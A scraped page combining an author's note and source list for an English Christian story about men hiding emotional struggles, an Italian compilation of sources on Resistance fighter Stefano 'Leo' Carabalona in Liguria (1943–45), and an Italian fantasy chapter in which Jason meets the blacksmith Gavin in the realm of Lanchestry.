The rock is crumbling. And I’m the only one who can hear it.
Author’s Note
I wrote this story because “I’m fine” has become one of the most dangerous lies men tell.
Not because everything has to turn into a group-therapy overshare, but because a lot of us have learned that being a man means one thing above all: don’t crack. Don’t cry. Don’t need. Don’t ask for help. Just keep performing—at work, at home, at church—and hope nobody notices how much of it is duct tape and denial.
Matt is fictional, but the patterns are not. The late-night anxiety. The quiet porn habit as a pressure valve. The marriage that looks stable from the outside but is running on fumes. The way “being strong” becomes a way to avoid being known. I didn’t want to write a neat testimony with a bow at the end. I wanted to sit in that awful in-between space where a man knows he’s not okay and still chooses to keep hiding.
If you picked up on the tension around Psalm 34:18—“The Lord is close to the brokenhearted and saves those who are crushed in spirit”—that was intentional. The verse is there like a constant background noise in Matt’s life. He hears it from his mom, at church, in group, on his Bible app. The problem isn’t that God is silent; it’s that Matt refuses to be the kind of man that verse is written for: brokenhearted, crushed, honest.
Underneath all the details, this story is about fear of vulnerability:
- Fear of losing respect if you admit weakness
- Fear of not knowing what to do with your own emotions if you stop stuffing them
- Fear that if you open up to God or other men, you’ll be met with judgment or awkward silence instead of real presence
The tragedy for Matt isn’t a dramatic car crash or public scandal. It’s the slow erosion of his soul and relationships because he clings to the image of “the rock” more than he clings to God or the people who actually love him. He gets glimpses of another way—a raw confession at men’s group, a quiet moment on the carpet where he finally lets himself cry, a daughter asking if he’s sad—and he still pulls back. That’s the haunting part. Nothing changes… and yet everything is slowly falling apart.
If this story resonated with you at all, even uncomfortably, that’s kind of the point. Not to shame you, not to diagnose you, and definitely not to tell you what you “have to” do. Just to hold up a mirror of what it actually looks like when hiding becomes a lifestyle.
Some men crash hard and obvious. Others, like Matt, just slowly harden. Their job title still works. Their faith still has all the right words. Their family still posts decent photos. But the inside is hollow. And the thing about hollowness is that it echoes. It haunts.
The core idea behind this whole series is simple and costly: Vulnerability is not an optional add-on to the Christian life or to healthy masculinity. It’s the doorway. To real brotherhood. To actual intimacy in marriage. To a faith that’s more than performance. To experiencing the God who is “close to the brokenhearted,” not to the perfectly put-together.
What you do with that is up to you. This story doesn’t end with Matt calling the counselor or breaking down in front of Marcus or sprinting back to Emily with a grand apology. It stops where a lot of men actually are: still in the car, still saying “I’m good,” still sending a thumbs-up emoji instead of telling the truth.
If anything in you recognized yourself in that final scene, don’t rush past it. Sit with the discomfort. Ask yourself, honestly, where you’re playing “the rock” and what it’s costing you. And if you decide to talk to God, or to a friend, or to a counselor about it—that’s your story. Not Matt’s. And it doesn’t have to end the way his does.
Call to Action
If this story struck a chord, don’t just scroll on. Join the brotherhood—men learning to build, not borrow, their strength. Subscribe for more stories like this, drop a comment about where you’re growing, or reach out and tell me what you’re working toward. Let’s grow together.
D. Bryan King
Sources
- Psalm 34:18 – The Lord is close to the brokenhearted
- John 11:33-35 – Jesus wept
- 2 Corinthians 12:9-10 – Power made perfect in weakness
- James 5:16 – Confess your sins to each other
- APA – Men and Mental Health: Why Men Are Less Likely to Seek Help
- APA Monitor – The Crisis in Masculinity and Emotional Expression
- Masculinity and Help-Seeking: Implications for Depression and Suicide Risk (PubMed)
- Gottman Institute – How Emotional Withdrawal Destroys Relationships
- Pornography Use and Relationship Satisfaction (NCBI)
- Psychology Today – Why Vulnerability Is Essential for Healthy Relationships
- BibleProject – The Bible and Emotions
- Desiring God – The Power of Admitting Weakness
- The Gospel Coalition – Real Men Cry
- Barna – Masculinity, Identity, and the Church
Disclaimer:
The views and opinions expressed in this post are solely those of the author. The information provided is based on personal research, experience, and understanding of the subject matter at the time of writing. Readers should consult relevant experts or authorities for specific guidance related to their unique situations.
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Nei giorni successivi la formazione partigiana passa al comando di Stefano Carabalona
Rocchetta Nervina (IM): uno scorcioArturo Borfiga portò 12 russi al Dst. di Leo e un’altra volta un mulo con 2 mitragliatrici, di cui aveva infilato le canne nei pantaloni. Leo sgozzò l’ufficiale repubblichino che dai pressi del cimitero di Camporosso faceva sparare su Rocchetta Nervina. Quando a Vallecrosia il giorno del suo ferimento aprì la porta agli uomini dell’UPI era riuscito a mettere la mano sulla pistola del nemico, deviando il colpo partito nella colluttazione. Stefano “Leo” Carabalona era nato a Rocchetta Nervina (IM) il 10 gennaio del 1918. Dopo aver conseguito la maturità classica a Mondovì (CN), nell’imminenza della guerra fu chiamato alle armi ed inviato a Pola presso l’allora esistente scuola allievi ufficiali di complemento dei bersaglieri. Quale sottotenente dei bersaglieri partecipò alla campagna di Albania ed alla guerra in Grecia, dove venne decorato con una medaglia di bronzo al V.M. Promosso per merito straordinario tenente ed infine ferito più volte in combattimento, in seguito alle lesioni riportate nell’ultima delle ferite (schegge all’occhio sinistro) venne rimpatriato a Firenze presso l’ospedale militare. Congedato al termine della convalescenza, tornò a Rocchetta Nervina, ma nel 1941 in vista della campagna di Russia si arruolò volontario quale ufficiale di fanteria ed assegnato alla divisione celere “Legnano”. Rientrò in Italia a piedi con pochi superstiti della compagnia di cui era comandante. Nel 1943 si sottrasse alla chiamata della R.S.I.: per vendetta fu incendiata la casa di famiglia in Rocchetta Nervina, ma fortuite circostanze impedirono al fuoco di propagarsi e la casa si salvò. Sono rimaste sul pavimento di una stanza, visibili a tutt’oggi, le tracce di quelle fiamme. Massimo Carabalona, figlio di Stefano Carabalona, email del 23 dicembre 2021
Nella Valle Nervia alcuni ufficiali cercarono rifugio e sicurezza a Rocchetta Nervina, dove il tenente Stefano Carabalona [“Leo“], residente in loco, cercava di organizzare gli sbandati e di procurare il maggior numero di armi possibili. don Ermando Micheletto, La V^ Brigata d’Assalto Garibaldi “Luigi Nuvoloni” (Dal Diario di “Domino nero” – Ermando Micheletto), Edizioni Micheletto, Taggia (IM), 1975
L’8° distaccamento giunge a Rocchetta Nervina verso il 20 giugno [1944]. È comandato da Alfredo Blengino (Spartaco) che il giorno 23 dello stesso mese, lancia un proclama alla popolazione del paese ringraziandola per la solita buona accoglienza fatta ai partigiani ed invitandola ad appoggiare, nella maggior misura possibile, l’azione di chi combatte per la libertà […] Gli uomini della formazione ammontano ad una ventina, ma, in pochi giorni, il numero degli effettivi è pressocchè raddoppiato mentre viene notevolmente migliorata l’organizzazione del distaccamento. L’armamento consiste in fucili e moschetti. L’8° distaccamento opera nella Val Roja, procurando notevoli difficoltà al traffico delle truppe nazi-fasciste. Nei giorni successivi la formazione passa al comando di Stefano Carabalona (Leo) che si trova subito impegnato in un durissimo combattimento.
Carlo Rubaudo, Storia della Resistenza Imperiese (I Zona Liguria) – Vol. II. Da giugno ad agosto 1944, edito a cura dell’Istituto Storico della Resistenza e dell’Età Contemporanea di Imperia, p. 154[…] il mese di luglio si aprì con un rastrellamento tedesco a largo raggio, essenzialmente rivolto verso Rocchetta Nervina (IM), Castelvittorio, Molini di Triora e Langan.
La difesa di Rocchetta Nervina, che si protrasse dal 1° al 4 luglio 1944, ebbe luogo soprattutto ad opera dell’8° Distaccamento della IX^ Brigata d’Assalto Garibaldi “Felice Cascione”, che da circa una settimana era attestato nel paese. […] Per alcune ore il combattimento si protrasse con alterne vicende ed alle 12 i nazifascisti si ritirarono, accusando la perdita di un centinaio di uomini.
La difesa del paese venne fiaccata il giorno successivo, 4 luglio 1944, ad opera di 800 uomini di truppa che, occupato il paese, lo saccheggiarono. Alla sera rimase sul selciato un ingente numero di vittime.
Rocco Fava di Sanremo (IM), La Resistenza nell’Imperiese. Un saggio di regestazione della documentazione inedita dell’Istituto Storico della Resistenza e dell’Età Contemporanea di Imperia (1 gennaio – 30 Aprile 1945), Tesi di Laurea, Università degli Studi di Trieste, Anno Accademico 1998-1999Ma il tedesco pagò ben caro il suo successo, perché non meno di 180 uomini furono messi fuori combattimento… Fra coloro che maggiomente si distinsero sono da ricordare il vecchio “Notu” che, benché fosse rimasto ferito due volte, continuò a lottare fino all’esaurimento delle sue munizioni, Longo [Antonio Rossi], Falce [G.B. Basso], Colombo, Filatri [Gennaro Luisito Filatro, nato il 24 giugno 1917 a Civita (CS), già sergente maggiore del Regio Esercito, ufficiale addetto alle operazioni di distaccamento, passò poi in Francia al seguito di Carabalona], il giovanissimo Arturo [Arturo Borfiga] ed il prode Lilli [Fulvio Vicàri], che doveva più tardi immolare la sua giovane esistenza per la causa della liberazione.
Stefano Carabalona (Leo) in Mario Mascia, L’epopea dell’esercito scalzo, A.L.I.S., 1946, ristampa del 1975 a cura dell’Istituto Storico della Resistenza e dell’Età Contemporanea di ImperiaIl rastrellamento di luglio [1944] da parte dei nazifascisti non fu lungo. ll Comandante Vitò [Giuseppe Vittorio Guglielmo] aveva ordinato ed organizzato una ritirata di emergenza e dava ordini precisi ai vari comandanti dei distaccamenti di attendere i suoi ordini. Radunò lo Stato Maggiore e studiò nei minimi particolari un attacco alla caserma di Pigna (IM)
[…] Il distaccamento di Stefano Leo Carabalona [poco tempo dopo comandante della Missione Militare (dei Partigiani Garibaldini) presso il Comando Alleato] dalla parte di Rocchetta Nervina (IM), con Lolli [Giuseppe Longo, poco tempo dopo vice comandante della Missione Militare (dei Partigiani Garibaldini) presso il Comando Alleato], doveva vegliare con i suoi uomini la strada Dolceacqua-Pigna.
don Ermando Micheletto, Op. cit.Verso la fine d’agosto 1944, in concomitanza con l’avanzata degli eserciti alleati sbarcati in Provenza, la V^ Brigata Garibaldi, forte ormai di oltre 950 uomini, iniziò un’azione convergente su Pigna, tenuta da un centinaio di militi repubblicani e centro delle difese nazi-fasciste della zona di montagna… In quei giorni si distinsero i distaccamenti di Gino (Gino Napolitano), di Leo (Stefano Carabalona), e di Moscone [Basilio Mosconi]. Alla fine il nemico rinunciò a difendere le sue posizioni di Pigna: evacuò il paese e si ritirò su posizioni più arretrate (Isolabona – Dolceacqua), abbandonando nella fuga precipitosa armi e munizioni che furono recuperate dai nostri e che andarono ad arricchire l’esiguo armamento di cui la brigata era provvista. Venne occupata Pigna, dove si stabilì il comando dei partigiani, si nominò un’amministrazione provvisoria e si provvide a munire la difesa della zona sia per poter riprendere gli attacchi verso la costa ed in direzione del fronte francese che si andava spostando verso est, sia per far fronte ad eventuali contrattacchi nemici. Infatti il I° distaccamento prese posizione su Passo Muratone alla destra dello schieramento per impedire puntate provenienti da Saorge (Francia); il V° distaccamento, al comando di Leo, occupò la stessa Pigna, posta al centro dello schieramento, distaccando una squadra di venti uomini a Gola di Gouta a guardia della strada. […] A Pigna, nel frattempo, era giunta una missionecomposta, di numerosi ufficiali “alleati”, accompagnati da un corrispondente di guerra canadese.
La missione studiata la zona, avrebbe dovuto proseguire per la Francia passando attraverso le maglie delle linee tedesche fra Gramondo e Sospel.
Mario Mascia, Op. cit.Durante il periodo di attesa a PIGNA il comandante dei Partigiani della zona noto come LEO ci parlò della possibilità di passare in FRANCIA in barca da VENTIMIGLIA e suggerì di inviare uno dei suoi uomini sulla costa per fare delle indagini… I pescatori ci portarono vogando, senza ulteriori incidenti, in 3 ore e mezza a Monte Carlo [Monaco Principato] dove sbarcammo [quindi, approssimativamente alle ore 4 del 9 ottobre 1944, data in ogni caso indicata da Brooks Richards, Secret Flotillas, Vol. II, Paperback, 2013] e ci arrendemmo alla guarnigione F.F.I. La mattina seguente guidammo fino a Nizza e facemmo rapporto al Maggiore H. GUNN delle Forze Speciali … A Nizza informammo il Colonnello BLYTHE del quartier generale della task force della settima armata americana…
capitano G. K. Long, artista di guerra, documento britannico Mission FlapAd ogni modo presi contatto con Leo, che era appunto sbarcato in Francia in quel tempo… [parole del capitano Robert Bentley, ufficiale alleato di collegamento con i partigiani della I^ Zona Operativa Liguria] Mario Mascia, Op. cit.
Il maresciallo Reiter fece accompagnare da due agenti in borghese la staffetta Irene [in questa versione dei fatti la persona, costretta dai nazisti a fare da esca per attirare in trappola i due partigiani] verso la casa di Vallecrosia, dove “Leo” e “Rosina” [Luciano Mannini], ignari, aspettavano il ritorno di chi li aveva traditi [in altre versioni della narrazione di questo tragico evento emerge, invece, una casuale scoperta di collegamenti clandestini da parte degli apparati nazisti di controllo] …
“Leo” [responsabile, al momento cui si riferisce la presente testimonianza, dell’Ufficio Informazioni Militari della V^ Brigata d’Assalto Garibaldi “Luigi Nuvoloni”] restò gravemente ferito [era il giorno 8 febbraio 1945]. Ma anche i due agenti nemici versarono in fin di vita. “Leo” e “Rosina” fuggirono per vie diverse eludendo anche il successivo rastrellamento tedesco. “Leo” trovò rifugio nella clinica Moro sulla via Romana, dove venne medicato ma non ricoverato. Il partigiano Lotti, probabilmente avvisato da “Rosina”, o non so come, avvisò il nostro CLN di Bordighera che “un agente americano” era stato ferito e si trovava alla clinica Moro. Insieme a Renzo Biancheri “U Longu”, prelevammo “Leo” dalla Clinica Moro [n.d.r.: che era stata trasferita dal 2 gennaio 1944 a Villa Poggio Ponente di Vallecrosia] e lo portammo all’ospedale di Bordighera. Riuscimmo a ricoverarlo con un tragico stratagemma. Per i ricoveri con ferita i medici dovevano dichiarare se la ferita era stata causata da scheggia di bomba o da colpo d’arma da fuoco. All’ospedale “Leo” venne curato da due medici che conoscevo bene, il dr. Giribaldi e il dr. Gabetti, e assistito dalla caposala, infermiera Eva Pasini. Il dr. Gabetti mi disse che difficilmente “Leo” sarebbe sopravvissuto e che quindi conveniva ricoverarlo come “ferito da colpo d’arma da fuoco” e non rischiare la vita quando la polizia fascista avesse preso conoscenza del referto. Così fu fatto: “Leo” fu ricoverato e gli vennero prestate le prime cure. La Pasini mi prese da parte e mi disse che “Leo” si sarebbe potuto salvare; e che se non era morto fino ad allora sarebbe potuto sopravvivere e a quel piìunto avrebbe dovuto subire l’inevitabile interrogatorio dei nazifascisti. Il pericolo era grave e serio: “Leo” era a conoscenza di importanti particolari della struttura dei servizi di informazione. Io e Renzo Biancheri, “Rensu u Longu”, accompagnammo “Leo” giù per le scale dell’ospedale e sulla canna della mia bicicletta lo portai a casa di Renzo, dove lo nascondemmo in cantina.
Avvisammo il dr. De Paolis, che si prese cura di “Leo”: lo curai con delle flebo che gli iniettavo nelle cosce perché non ero capace di infilare l’ago nel braccio.
All’interno del CLN il fatto suscitò scalpore e innestò una approfondita discussione, che evidenziò la urgente necessità di cautelarsi con le forze alleate della vicina Francia per una maggior collaborazione e soprattutto coordinamento. Curammo “Leo” come era possibile, ma le sue condizioni permanevano critiche. Con il Gruppo Sbarchi di Vallecrosia predisponemmo una barca per il trasporto in Francia. Il Gruppo Sbarchi era stato creato dal nostro CLN, che mi incaricò ufficialmente, con tanto di credenziali dell’Alto Comando, di rappresentare la Resistenza Italiana presso il comando alleato e di coordinare le loro azioni alle nostre esigenze. Alla sera convenuta imbarcammo “Leo” e Luciano “Rosina” Mannini; con Renzo “U Longu” [Biancheri] iniziammo a remare verso la costa francese. Il dr. De Paolis, viste le condizioni ormai gravi di “Leo”, mi aveva incaricato di iniettargli una fiala di adrenalina: con questa adrenalina in corpo “Leo” affrontò il viaggio. Giungemmo nel porto di Monaco, dove fummo subito presi in consegna dalle sentinelle algerine e portati all’Hotel de Paris, sede del comando francese. Riuscimmo a far ricoverare “Leo” a Nizza, ma per il resto insistetti non poco per contattare il comando inglese o quello americano, che erano gli autori della missione in Italia di “Leo”. Renzo ”Stienca” Rossi in Gruppo Sbarchi Vallecrosia, Istituto Storico della Resistenza e dell’Età Contemporanea di Imperia <Comune di Vallecrosia (IM) – Provincia di Imperia – Associazione Culturale “Il Ponte” di Vallecrosia (IM)> di Giuseppe Mac Fiorucci]26 febbraio 1945 – Dal C.L.N. di Bordighera, prot. n° 2 al comandante Curto [Nino Siccardi, comandante della I^ Zona Operativa Liguria] – Informava che il Comitato era entrato in contatto con il garibaldino Leo [Stefano Carabalona, già comandante di distaccamento partigiano e protagonista di eroici episodi, quali il suo contributo alla valorosa, ancorché vana difesa di Rocchetta Nervina (IM) e di Pigna (IM); artefice del ritorno da Ventimiglia (IM) via mare, con l’intervento finale di Giulio “Corsaro/Caronte” Pedretti e di Pasquale Pirata Corradi (detto anche Pascalin), ma con l’aiuto di molte altre persone, alle loro fila di alcuni ufficiali della missione alleata Flap; responsabile, al momento cui si riferisce la presente testimonianza, della Missione Militare (dei Partigiani Garibaldini) presso il Comando Alleato] del Secret Service [OSS statunitense] inviato a Vallecrosia dagli americani per avere notizie sulla 28^ linea; che Leo era poi stato ferito da agenti dell’U.P.I. [Ufficio Politico Investigativo della Repubblica di Salò] in seguito a una delazione del suo radiotelegrafista; che Leo era riuscito a fuggire dall’ospedale di Bordighera; che era stato prelevato da uomini del C.L.N. e ricoverato in luogo segreto in attesa di essere trasferito in Francia; che Leo aveva riferito di essere passato il 10 dicembre 1944 in Francia, che Leo aveva scritto una lettera, allegata al documento in parola, per il comandante Curto, lettera in cui Leo aveva scritto: “Era mia intenzione di recarmi presso di te per poterti dire qualche cosa che interessava sia te personalmente, sia il complesso di tutta la Divisione [II^ Divisione “Felice Cascione”]. Io sono partito per la Francia il 10 dicembre; giunto colà presi contatto con il Comando Americano di Nizza con il quale già ero in relazione da circa due mesi; presi pure contatto con il capitano inglese Bentley, il quale volle sapere da me vita e miracoli di tutti i capi: io dissi il più poco possibile e per quello che riguardava il colore politico andai coi piedi di piombo. In quei giorni prese contatto con il Comando Inglese il dott. Kanheman il quale si sbottonò facendo 53 profili per iscritto di tutti i capi dell’allora Divisione “F. Cascione”. Appena io sentii le sue bellicose intenzioni, da buon garibaldino, lo incontrai e misi in luce a lui e a quanti erano con lui (gli altri erano bravi figlioli e furono subito d’accordo con me) quanto di poco simpatico stessero facendo. D’allora stetti più in guardia. In ogni modo so con precisione che di parecchi capi ha dato giudizi un po’ avventati di Simon [Carlo Farini, Ispettore Generale al Comando Operativo della I^ Zona Liguria], Vittò [Giuseppe Vittorio Guglielmo, comandante della II^ Divisione], Orsini [Agostino Bramè, commissario della V^ Brigata “Luigi Nuvoloni” della II^ Divisione] ed altri. Insomma ho creduto bene che tu sappia che questo signore si è presentato agli inglesi come l’anima e il cervello della Divisione, critico di tutto e di tutti, tu stesso non escluso. Io e Lolly [Giuseppe Longo, vice comandante della Missione Militare (dei Partigiani Garibaldini) presso il Comando Alleato] in compenso abbiamo scritto parecchio sulla 2a Divisione Garibaldina e sul suo comandante e sono convinto che chiunque leggerà quelle modeste righe di modesti eroismi non potrà che meravigliarsi. I francesi parlano sovente di occupare fino a S.Remo, e siccome hanno sul fronte qualche battaglione potrebbero anche farlo; ad evitare ciò basterebbe l’occupazione fatta Mezz’ora prima dai garibaldini. Noi avevamo a che fare con gli americani che comandano questo fronte. Per conto mio, sono molto migliori degli inglesi, con noi poi vanno molto d’accordo. Giorni fa è arrivato in Francia il fratello di Kanheman (il fratello maggiore è andato a Roma) il quale dev’essere andato in Francia per dire agli inglesi che qui il patriottismo è divenuto banditismo, ecc… Ti prego di dire a Vittò che mi tenga sempre presente come suo garibaldino perché tutto il lavoro che faccio, l’ho fatto e lo continuerò a fare come Garibaldino della 2a Divisione Garibaldi. Io tornerò in Francia fra una decina di giorni anche perché la mia ferita me lo impone (non sono riusciti a prendermi, però mi hanno ferito allo stomaco) e se sia tu o Simon o qualche altro vuol darmi qualche incarico sarò ben lieto di rendermi utile Ti saluto caramente tuo Leo” . 10 marzo 1945 – Dal CLN di Sanremo, prot. n° 410, al CLN di Bordighera – Invitava ad “intrattenere maggiori rapporti tra i due Comitati, mediante staffette che portino notizie riguardanti movimenti di truppa e segnalino eventuali bombardamenti”. Segnalava che il Comando Operativo della I^ Zona Liguria desiderava inviare alcuni documenti in Francia tramite “Leo” [Stefano Carabalona, che, ferito, dal 5 marzo era già stato portato in salvo in Costa Azzurra] e di conseguenza chiedeva la data in cui fosse stato disponibile “Leo”. Comunicava che 6 uomini dovevano varcare il confine. 12 marzo 1945 – Dal CLN di Sanremo, prot. n° 424, a “Capitano Roberta” [Robert Bentley, capitano del SOE britannico, ufficiale di collegamento alleato con i partigiani della I^ Zona Operativa Liguria] – Comunicava che… quel giorno stesso il CLN di Bordighera aveva avvertito che “Leo” e “Rosina” [Luciano Mannini], accompagnati da altri due partigiani [Renzo Biancheri e Renzo Rossi], erano, nella notte tra il 5 ed il 6 marzo partiti per la Francia; che “Leo” era sempre ferito; che il suo passaggio in Francia era stato affrettato. Da documenti IsrecIm in Rocco Fava,Op. cit.
#1943 #1944 #1945 #alleati #BordigheraIM_ #dicembre #fascisti #febbraio #Francia #giugno #Gruppo #Leo #luglio #marzo #Monaco #Nizza #partigiani #PignaIM_ #Resistenza #RocchettaNervinaIM_ #RoccoFava #Sbarchi #StefanoCarabalona #tedeschi #VallecrosiaIM_
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Gavin
La moquette rossa, il soffitto poco più alto di due metri e il profilo dorato che segnava il passaggio da soffitto alla parete rendevano estranea la stanza circolare che avevo di fronte a me, quasi non fossi più nella stessa casa. La parete, in realtà, era stata scavata, creando delle nicchie in cui erano incastrati degli scaffali colmi di libri.
Nel centro della stanza, c’era un’armatura argentea che luccicava sotto la forte luce che due faretti le puntavano addosso. Era molto più grande di me e di sicuro era appartenuta a mio zio che era sempre stato un uomo alto e ben piazzato prima della malattia. Sulle placche pettorali era stata attaccata una busta marrone; sembrava molto antica e aveva uno strano simbolo che rassomigliava a due draghi che si mordevano la coda a vicenda. Aprii la busta e trovai un nuovo messaggio scritto a mano da mio zio:Ben fatto, Jason!
Sapevo che saresti riuscito a capire tutti gli indizi e a trovare questo posto. Perdona la riservatezza, ma dovevo essere sicuro che fossi tu ad aprire la porta e non quel pigrone di mio figlio. Sapevo quanto questa porta fosse al centro dei tuoi pensieri fin da quando eri piccolo e che avresti fatto di tutto pur di riuscire ad aprirla.Tuttavia, se stai leggendo questo, io ora sono morto.
Quello che hai davanti è una parte della mia vita che è stata nascosta a chiunque, anche a tua zia. Non potevo rischiare che qualcuno scoprisse questo luogo. Purtroppo non abbiamo la stessa taglia, ma confido che il buon Gavin saprà forgiarti un’armatura adeguata. Premi il libro nero nella libreria centrale. Ti troverai davanti delle scale. Scendile senza esitazione e sbrigati.
Lanchestry è in pericolo!Sir Martin Clannes
Avrei pensato che tutto questo fosse uno strano scherzo di mio zio: inventarsi un bizzarro nome e uno strano mondo per prendersi gioco di me. Qualcosa però, forse il simbolo sulla busta o la sottolineatura dell’ultima frase, mi fecero intuire che questa volta non era la solita invenzione di mio zio; qualcosa di vero c’era. Farsi fare un’armatura – che sembrava del tutto autentica – era una spesa decisamente fuori luogo per un semplice gioco.
Cercai con gli occhi il libro di cui parlava mio zio nella lettera e lo premetti. La libreria davanti a me scricchiolò, cominciò a muoversi verso il muro e una folata d’aria umida mi investì in pieno. Lo scaffale si era aperto completamente e davanti avevo solo un’oscurità ignota. Andai in macchina per prendere una mini torcia e tornai nella sala dell’armatura. Accesi la torcia e la puntai verso l’apertura dietro la libreria: vidi una parete di mattoni color rosso scuro che sembrava scendere verso sinistra.
Scesi con cautela: mi fidavo di mio zio e sapevo che non mi avrebbe mai messo volutamente in pericolo, ma non avevo idea di cosa mi aspettasse una volta terminati gli scalini. Ero su una lunga scala a chioccola che mi portò davanti a un’altra porta di legno. Tirai il chiavistello e aprii la porta che mi introdusse in un’umida grotta. Mi voltai, ma la porta si era chiusa ed era sparita nella parete rocciosa. Non potevo tornare a Leanstone, quindi esplorai la grotta. Camminai per una manciata di minuti, prima di riuscire a vedere una luce e l’apertura che mi portò davanti a un mondo totalmente diverso da quello che mi aspettavo.
Sapevo di essere sceso di parecchi metri e mi aspettavo di essere nel ventre della montagna. Invece, davanti a me c’era un muro formato da quelli che sembravano altissimi pini. L’ingresso della grotta era separata dalla pineta da un’ampia radura circolare che sembrava tenere lontani i pini dall’ingresso da cui ero arrivato. Mentre mi guardavo intorno per capire il da farsi, vedi una flebile luce tra gli alberi. Misi la mini torcia in tasca e mi incamminai.Mentre mi avvicinavo, la flebile luce si rivelò essere una lanterna appesa a un rudimentale lampione senza lampadina che indicava l’inizio di un sentiero in terra battuta che si snodava tra i grandi fusti robusti. Mi addentrai nel fitto del bosco seguendo le luci delle lanterne poste a intervalli irregolari sul percorso.
Dopo diverso tempo in cui l’unico suono, oltre al rumore delle mie scarpe che schiacciavano la terra, era quello delle foglie più alte mosse dal vento, iniziai a sentire un suono differente, un tintinnio, come di metallo che batteva. Era insolitamente ritmico e cadenzato e capii che non era un suono naturale: qualcuno stava battendo del ferro come facevano i vecchi maniscalchi.
Giunsi al termine del bosco e vidi che il sentiero curvava fino a raggiungere una piccola capanna con un tetto in paglia tutta arruffata. Il tintinnio si era fatto più forte, ma ancora non riuscivo a scorgere chi lo stava producendo.
Mi avvicinai con cautela alla casa, mi schiacciai contro il muro e sbirciai dietro l’angolo: un grosso omone con una folta chioma castana mi dava le spalle e brandiva un pesante martello che schiantava su una grossa incudine. Poggiò il martello sul tavolino e infilò la spada arancione che stava battendo in una grossa tinozza. L’acqua lanciò un lungo sibilo quando il metallo incandescente si immerse e una grossa nuvola bianca di vapore si alzò dal recipiente. Il sibilo fu inaspettato ed emisi un gemito.
L’omone si voltò di scatto mentre manteneva immersa la spada ancora sibilante. I suoi occhi marroni erano profondi, ma non lasciavano trasparire rabbia, piuttosto curiosità. Anche la bocca, in mezzo a tutta quella barba castana, non aveva un’espressione di rabbia, ma sorpresa. Restava lì a fissarmi incuriosito senza muoversi. Si mosse solo quando la spada smise di sibilare e il vapore aveva smesso di sollevarsi dalla tinozza.
Appoggiò la spada su una rastrelliera, si mise le grosse mani callose sui fianchi e, con una voce profonda, esordì con un semplice «Salve».
Rimasi immobile, indeciso se rispondere al saluto o fuggire il più velocemente possibile verso la grotta.
«Ehi, dico a te!» continuò, sollevando l’indice per puntarlo verso di me e sorridendo. Gli occhi erano ora solo due piccole fessure e le guance rosse spuntavano da sopra i peli della barba come due colline illuminate dalla luce purpurea del tramonto.
«Forza, vieni avanti! Sono grosso, ma non mangio le persone. Non fino a che Angus sfornerà il suo buonissimo pane. Io mi chiamo Gavin e sono il fabbro reale di Barleigh. E tu… A giudicare dai tuoi abiti devi essere un visitatore dalla grotta, come sir Martin.»
Mi feci coraggio e uscii da dietro il muro. Quell’uomo sembrava davvero amichevole e gentile. E poi aveva nominato Sir Martin, lo stesso nome sul biglietto che avevo trovato nella stanza rossa.
«Conosceva mio zio?»
«Conoscevo? Stai insinuando che sir Martin è forse morto?»
«Purtroppo sì. È morto pochi giorni fa.»
«Questa notizia mi rammarica molto. Quell’uomo era di animo nobile.»
«Sì, lo era davvero. Io mi chiamo Jason e Carl – o meglio, sir Martin – era mio zio.»
«Jason?» disse, alzando un sopracciglio esageratamente folto che gli diede un aria buffa. «Beh, non ho mai sentito un nome tanto bizzarro!»
«Bizzarro?»
«Certamente. Jason» rise di gusto «che nome strambo.»
«Siete tutti così poco accoglienti da queste parti?»
«No, no.» disse tra le risa. Il fabbro tentò di ricomporsi con scarsi risultati.
«Vieni, entriamo in casa.»
Si tolse il grosso grembiule grigioverde che portava in vita e lo lanciò su una grossa incudine. Aprì la porta della casa mentre stava ancora ridacchiando e, non appena ebbe varcato la porta, urlò: «Mairead!»
Da un’altra stanza giunse una graziosa donna dai lunghi capelli biondi distribuiti in grossi boccoli che le arrivavano fino a metà addome. Indossava una semplice tunica bianca e un grembiule, sporco di sangue.
«È questo il modo di rivolgerti a tua moglie, Gavin Dubhach?» urlò lei, in risposta al marito, mentre si asciugava le mani in un panno. Posò gli occhi su di me e la sua espressione mutò.
«Oh, salve» disse, sfoggiando un gran sorriso che la rese ancora più bella di quanto non fosse quando era entrata nella stanza con un’espressione furiosa.
«Ho urlato il tuo nome perché non so mai dove sei. So bene che la mia amata non merita questo trattamento, ma abbiamo un ospite.»
«Lo vedo. Ma questo» disse voltandosi verso Gavin «è un altro ottimo motivo per non urlare il mio nome come se fossi uno di quei rozzi di Gardeter.»
«Hai ragione mia amata.»
Quell’uomo grande e grosso era stato ammansito da una donna molto più piccola di lui e ora se ne stava a capo basso, quasi contemplasse la terra che stava calpestando.
«Benvenuto, straniero. Sei anche tu un visitatore dalla grotta, come sir Martin?»
«Sì, signora. Sir Martin era mio zio.»
«Era?»
«Sir Martin è morto, Mairead.»
«Oh.» disse la donna accigliandosi. «Mi spiace molto. Ma ora che ne sarà di Bede?» chiese voltandosi verso Gavin.
«Non temere Mairead, troveremo il modo per salvare il regno.» la confortò Gavin prendendola tra le sue grosse braccia. «Lo troveremo.»
Rimasi a guardarli per un po’ prima di interrompere quell’abbraccio consolatorio.
«Ecco, a tal proposito. Mio zio mi ha lasciato una lettera in cui diceva che Lanchestry è in pericolo.»
«Lanchestry, in verità, non è in pericolo. La nazione gode di buona salute e il nostro re è giusto, ma i raccolti negli ultimi anni sono spesso stati distrutti da due draghi.»
«Draghi?»
«Sì. Ne parlavano leggende così antiche che ormai nessuno credeva davvero fossero esistiti. Poi campi bruciati, bestiame rapito o mangiato durante la notte e hanno convinto la gente che forse le vecchie leggende non erano solo storie di fantasia. La conferma giunse un giorno, quando Hidth, un contadino che abita non lontano da qui, raggiunse alcune guardie che passavano vicino alle sue proprietà; era spaventato e tremava, quasi troppo per parlare, ma riuscì a far capire ai soldati che qualcosa non andava. Le guardie lo seguirono e, dietro una collinetta, trovarono i due draghi che combattevano nel campo di grano di Hidth, dopo averlo bruciato coi loro soffi. La voce si sparse e da allora le cose sono molto peggiorate. I draghi sembrano litigare, ma a farne le spese sono i contadini di Lanchestry.»
«E per cosa litigano?»
«Nessuno lo sa. Sono stati quieti e in tranquillità per anni, ma ormai sono due anni che lottano interminabilmente. I campi sono quasi interamente incoltivabili, il bestiame rimasto è molto magro e i contadini a stento riescono a sostenere la richiesta delle città. I tre Re e le due Regine del paese sono riusciti a tenere il popolo tranquillo per ora, ma la situazione si fa sempre più tesa. Se Letif e Ghenda continueranno la loro lotta, tempi bui aspettano Bede. Sir Martin aveva in mente una soluzione, ma da morto non ci potrà aiutare.»
Mairead si schiarì la gola con un colpo di tosse. Quando Gavin la guardò, lei inclinò la testa verso di me. Gavin spalancò gli occhi e rimase immobile.
